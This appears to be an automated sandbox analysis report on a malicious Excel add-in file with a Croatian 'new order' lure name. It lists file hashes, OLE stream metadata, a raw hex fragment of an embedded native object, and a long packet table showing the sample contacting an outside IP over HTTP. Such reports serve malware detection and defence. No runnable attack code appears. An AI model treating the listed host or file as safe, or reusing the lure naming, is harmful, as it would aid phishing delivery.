TLSH:	14E423DBEEE3180FE323C9B1C0CE34EA279921354B6D9845277C1599312F36B396625E
File Content Preview:	PK.........A.Y..l3............[Content_Types].xmlUT.....Wg..Wg..Wg...n.0.E.......D......E.,..I>."..c.@....;....j...l. 5.r.g.....b.1i.j6.F..'..nY.........S.x.5.Ab..._&O....h.j."...'........,\|...5.y.r%....F.....a.Y.M'3X...b...~%.-Yq....j.m...\|:..%G..x.....y

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Nova naredba_HR-WJO-12-10-2024.xlam.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Total Edit Time:	0
Number of Pages:	0
Number of Words:	0
Number of Characters:	0
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Number of Lines:	0
Number of Paragraphs:	0
Thumbnail Scaling Desired:	false
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	12.0000

Streams

Stream Path: \x1oLE10naTiVe, File Type: data, Stream Size: 883698

General
Stream Path:	\x1oLE10naTiVe
CLSID:
File Type:	data
Stream Size:	883698
Entropy:	5.983865513865266
Base64 Encoded:	False
Data ASCII:	m < . . . z \\ \| . . h B . . 2 e s K . . V . . W - _ W X 4 " D . l ) . g ' U ; . ~ . 8 r T . i z & k . . = " F c . G % " Q = & 9 . k D \\ W L k L . . . . s & f A . F C H > . 4 . C P W i 6 . . . i . . E . . Q R Z Y . l . . _ X S z . . . . x . . O . . f . . [ k . ^ f . . . . . . W n . _ d O - ' P Q . ~ . . - E . . . - f . . r ~ . . . Y X . . . . 1 . . X o . i ' v U G . / . N 7 ! W . . . . . . * . . U ( g ; . l ] . . V . . t G H 9 r . . . . c < . . y . . U o " . R . . x 0 N . . . m i H - . . c l . } 1 . . l O m
Data Raw:	6d 3c c1 05 03 d6 83 7a 5c 7c 01 08 68 f5 b9 c3 42 ba ff f7 d1 8b 11 8b 32 bf 65 d5 c6 73 81 c7 4b 92 7f 8c 8b 07 56 ff d0 05 01 9f 57 ef 2d 5f 9e 57 ef ff e0 58 34 90 b7 22 e0 ab 44 00 a3 6c f1 e7 29 01 67 27 84 b2 d5 55 3b ce d3 c5 9a 7e 01 38 72 54 a4 1f 69 de 7a d2 26 6b 9e 02 9a a7 7f a6 97 9a 3d f6 9d 22 46 63 84 c9 b8 d7 47 25 c8 22 51 3d 26 39 f1 08 b9 6b 44 5c a5 8d 57 4c

Stream Path: tQw4qQd6Y2k6qgdG6uAKCy8, File Type: empty, Stream Size: 0

General
Stream Path:	tQw4qQd6Y2k6qgdG6uAKCy8
CLSID:
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 14:20:51.826019049 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:51.945301056 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:51.945420980 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:51.945811987 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:52.065356016 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183305979 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183404922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183410883 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183485031 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.183517933 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183523893 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183547020 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183556080 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183568001 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.183578968 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.183599949 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.183764935 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183770895 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183790922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.183835030 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.197166920 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.302963972 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.302978992 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.303025961 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.303042889 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.375190020 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.375221014 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.375291109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.375822067 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.379693031 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.379765034 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.381027937 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.381134987 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.381375074 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.381463051 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.389663935 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.389710903 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.389750957 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.389800072 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.397461891 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.397511005 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.397594929 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.397638083 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.405832052 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.405930996 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.405931950 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.405992985 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.414201021 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.414247990 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.414623976 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.414679050 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.422593117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.422606945 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.422648907 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.430911064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.430990934 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.431497097 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.431556940 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.439610004 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.439623117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.439682007 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.447670937 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.447685957 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.447736025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.449959993 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.455488920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.455574989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.497011900 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.497037888 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.497179031 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.567085028 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.567161083 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.567270994 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.569488049 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.569549084 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.569549084 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.569572926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.569617987 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.575335979 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.575423002 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.576474905 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.576538086 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.576679945 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.576731920 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.580734015 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.580796003 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.581247091 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.581305027 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.585480928 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.585576057 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.585933924 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.585995913 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.590332031 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.590347052 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.590404034 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.594999075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.595082998 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.595194101 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.595242977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.600258112 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.600270033 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.600311995 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.601828098 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.604614973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.604629040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.604686022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.609745026 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.609760046 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.609842062 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.614856958 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.614947081 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.615430117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.615479946 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.619786978 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.619848967 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.620199919 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.620254993 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.623656034 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.623749018 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.624174118 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.624242067 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.628540039 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.628554106 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.628609896 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.629879951 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.632184982 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.632251978 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.633001089 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.633049011 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.635828972 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.635898113 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.635971069 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.636015892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.639828920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.639869928 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.639914036 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.641844034 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.643367052 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.643381119 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.643455029 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.647144079 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.647157907 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.647222042 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.650742054 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.650820971 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.650861979 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.650913000 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.654483080 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.654496908 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.654572010 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.658154964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.658220053 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.658305883 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.658349991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.661760092 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.687048912 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.687163115 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.760905027 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.761090994 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.761102915 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.761177063 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.762202978 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.762295008 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.762337923 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.762437105 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.765031099 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.765094995 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.765127897 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.765127897 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.767899036 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.767963886 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.768033981 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.768034935 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.770561934 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.770575047 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.770677090 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.773175001 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.773186922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.773263931 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.775799036 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.775820971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.775912046 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.779264927 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.779381990 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.779405117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.779453993 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.782448053 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.782459974 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.782525063 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.784168959 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.784181118 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.784296989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.786422968 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.786492109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.786492109 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.786545992 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.788897991 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.788964033 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.789010048 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.789064884 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.791435003 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.791446924 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.791503906 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.794022083 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.794033051 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.794197083 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.796452999 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.796533108 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.796633959 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.796703100 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.799029112 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.799092054 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.799093962 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.799144983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.801558018 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.801635027 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.802126884 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.802186966 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.804174900 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.804243088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.804619074 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.804671049 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.806649923 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.806662083 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.806725025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.808532953 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.809155941 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.809216976 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.810621977 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.810695887 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.811702967 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.811808109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.811834097 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.811908960 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.813597918 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.813678026 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.814861059 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.814964056 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.815449953 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.815463066 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.815516949 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.817282915 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.817316055 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.817363977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.817363977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.819185019 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.819256067 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.820401907 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.820472956 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.821063995 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.821121931 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.822925091 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.822937965 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.822948933 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.823008060 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.824914932 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.880371094 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.880395889 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.880439997 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.880439997 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.881542921 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.881596088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.881620884 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.881668091 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.884695053 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.884746075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.884783030 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.884783030 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.887403011 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.887475967 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.887475967 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.887552023 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.889930964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.890003920 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.890450954 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.890494108 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.892483950 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.892532110 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.892740965 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.892847061 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.893512011 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.893570900 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.952089071 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.952198982 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.952315092 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.952379942 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.952984095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.953006983 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.953062057 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.954705954 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.954749107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.954785109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.954785109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.956778049 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.956851006 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.957246065 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.957329988 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.958276033 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.958332062 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.958702087 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.958791971 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.960036993 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.960138083 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.960597992 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.960681915 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.961884975 CET	80	49165	190.90.160.170	192.168.2.22
